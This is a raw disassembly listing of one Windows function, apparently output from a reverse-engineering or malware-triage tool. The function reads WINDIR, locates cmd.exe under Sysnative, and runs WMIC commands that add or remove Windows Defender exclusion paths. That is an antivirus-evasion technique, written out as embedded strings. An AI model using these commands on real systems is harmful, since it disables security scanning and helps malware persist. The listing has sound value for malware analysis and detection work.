Function at 0x14003058a
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
push r15
xor rax, rax
push rax
push rax
push rax
sub rsp, 0x28
call fcn.1400b3bf0
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x28]
sub rsp, 0x10
call fcn.1400b3c90
add rsp, 0x10
push rcx
sub rsp, 0x28
call fcn.1400b3910
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400b3910
add rsp, 0x28
pop rcx
push rax
push 1
push qword [rsp + 0x48]
pop rcx
pop rdx
pop r8
sub rsp, 0x20
call fcn.1400b1360
add rsp, 0x28
call fcn.1400b3b70
movabs rcx, 0x1401ac3a0
pop rdx
push rcx
mov rcx, rdx
sub rsp, 0x20
call fcn.1400b3d30
add rsp, 0x20
pop rcx
mov rdx, rax
call fcn.1400b3ab0
or rax, rax
je 0x14003068d
push rcx
sub rsp, 0x28
call fcn.1400b3910
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400b3910
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push qword [rsp + 0x48]
pop rcx
sub rsp, 0x20
call fcn.1400b0c50
add rsp, 0x28
mov r15, rax
dec r15
mov rax, r15
push rax
push qword [rsp + 0x48]
pop rcx
pop rdx
pop r8
sub rsp, 0x20
call fcn.1400b1cc0
add rsp, 0x28
lea rcx, [rsp + 0x30]
pop rdx
call fcn.1400b39d0
call fcn.140092638
mov r15, rax
cmp r15, 0x64
jl 0x140030a3c
push rcx
sub rsp, 0x28
call fcn.1400b3910
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400b3910
add rsp, 0x28
pop rcx
push rax
push 0x3e8
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400b0a30
add rsp, 0x28
lea rcx, [rsp + 0x38]
pop rdx
call fcn.1400b39d0
push 0x3e8
mov rax, qword [rsp + 0x38]
mov rax, rax
push rax
movabs rax, str.WINDIR
push rax
pop rcx
pop rdx
pop r8
call sub.KERNEL32.dll_GetEnvironmentVariableW
mov rcx, qword [rsp + 0x30]
push rcx
sub rsp, 0x28
call fcn.1400b3910
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400b3960
add rsp, 0x28
movabs rcx, 0x1401b6200
sub rsp, 0x28
call fcn.1400b3960
add rsp, 0x28
lea rcx, [rsp + 0x40]
pop rdx
call fcn.1400b39d0
push rcx
sub rsp, 0x28
call fcn.1400b3910
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
mov rcx, qword [rsp + 0x40]
push rcx
sub rsp, 0x28
call fcn.1400b3910
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400b3960
add rsp, 0x28
movabs rcx, str.Sysnativecmd.exe
sub rsp, 0x28
call fcn.1400b3960
add rsp, 0x28
push rax
call fcn.1400b3b40
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
sub rsp, 0x20
call fcn.140094a7c
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140060928
add rsp, 0x28
pop rax
mov r15, rax
and r15, r15
jle 0x14003080f
mov rcx, qword [rsp + 0x30]
push rcx
sub rsp, 0x28
call fcn.1400b3910
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400b3960
add rsp, 0x28
movabs rcx, str.Sysnative
sub rsp, 0x28
call fcn.1400b3960
add rsp, 0x28
lea rcx, [rsp + 0x38]
pop rdx
call fcn.1400b39d0
jmp 0x140030853
mov rcx, qword [rsp + 0x30]
push rcx
sub rsp, 0x28
call fcn.1400b3910
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400b3960
add rsp, 0x28
movabs rcx, 0x1401b6200
sub rsp, 0x28
call fcn.1400b3960
add rsp, 0x28
lea rcx, [rsp + 0x38]
pop rdx
call fcn.1400b39d0
mov r15, qword [rsp + 0x58]
and r15, r15
jle 0x140030951
push rcx
sub rsp, 0x28
call fcn.1400b3910
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push 3
push qword [rsp + 0x50]
push rcx
sub rsp, 0x28
call fcn.1400b3910
add rsp, 0x28
pop rcx
push rax
movabs rcx, str._c_WMIC__NAMESPACE:_rootMicrosoftWindowsDefender_PATH_MSFT_MpPreference_call_Add_ExclusionPath_
sub rsp, 0x28
call fcn.1400b3960
add rsp, 0x28
mov rcx, qword [rsp + 0x50]
sub rsp, 0x28
call fcn.1400b3960
add rsp, 0x28
movabs rcx, 0x1401aaef0
sub rsp, 0x28
call fcn.1400b3960
add rsp, 0x28
call fcn.1400b3b70
mov rcx, qword [rsp + 0x58]
push rcx
sub rsp, 0x20
call fcn.1400b3910
add rsp, 0x20
pop rcx
push rax
sub rsp, 0x20
call fcn.1400b3960
add rsp, 0x20
movabs rcx, str.cmd.exe
sub rsp, 0x20
call fcn.1400b3960
add rsp, 0x20
push rax
call fcn.1400b3b40
mov rdx, rax
pop rax
add qword [rsp], rdx
push rax
call fcn.1400b3b40
mov rdx, rax
pop rax
add qword [rsp + 8], rdx
pop rcx
pop rdx
pop r8
pop r9
sub rsp, 0x20
call fcn.140081244
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140060928
add rsp, 0x28
pop rax
jmp 0x140030a3c
push rcx
sub rsp, 0x28
call fcn.1400b3910
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push 3
push qword [rsp + 0x50]
push rcx
sub rsp, 0x28
call fcn.1400b3910
add rsp, 0x28
pop rcx
push rax
movabs rcx, str._c_WMIC__NAMESPACE:_rootMicrosoftWindowsDefender_PATH_MSFT_MpPreference_call_Remove_ExclusionPath_
sub rsp, 0x28
call fcn.1400b3960
add rsp, 0x28
mov rcx, qword [rsp + 0x50]
sub rsp, 0x28
call fcn.1400b3960
add rsp, 0x28
movabs rcx, 0x1401aaef0
sub rsp, 0x28
call fcn.1400b3960
add rsp, 0x28
call fcn.1400b3b70
mov rcx, qword [rsp + 0x58]
push rcx
sub rsp, 0x20
call fcn.1400b3910
add rsp, 0x20
pop rcx
push rax
sub rsp, 0x20
call fcn.1400b3960
add rsp, 0x20
movabs rcx, str.cmd.exe
sub rsp, 0x20
call fcn.1400b3960
add rsp, 0x20
push rax
call fcn.1400b3b40
mov rdx, rax
pop rax
add qword [rsp], rdx
push rax
call fcn.1400b3b40
mov rdx, rax
pop rax
add qword [rsp + 8], rdx
pop rcx
pop rdx
pop r8
pop r9
sub rsp, 0x20
call fcn.140081244
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140060928
add rsp, 0x28
pop rax
xor rax, rax
push rax
mov rcx, qword [rsp + 0x40]
sub rsp, 0x28
call fcn.1400b3c60
add rsp, 0x28
mov rcx, qword [rsp + 0x38]
sub rsp, 0x28
call fcn.1400b3c60
add rsp, 0x28
mov rcx, qword [rsp + 0x30]
sub rsp, 0x28
call fcn.1400b3c60
add rsp, 0x28
pop rax
add rsp, 0x40
pop r15
ret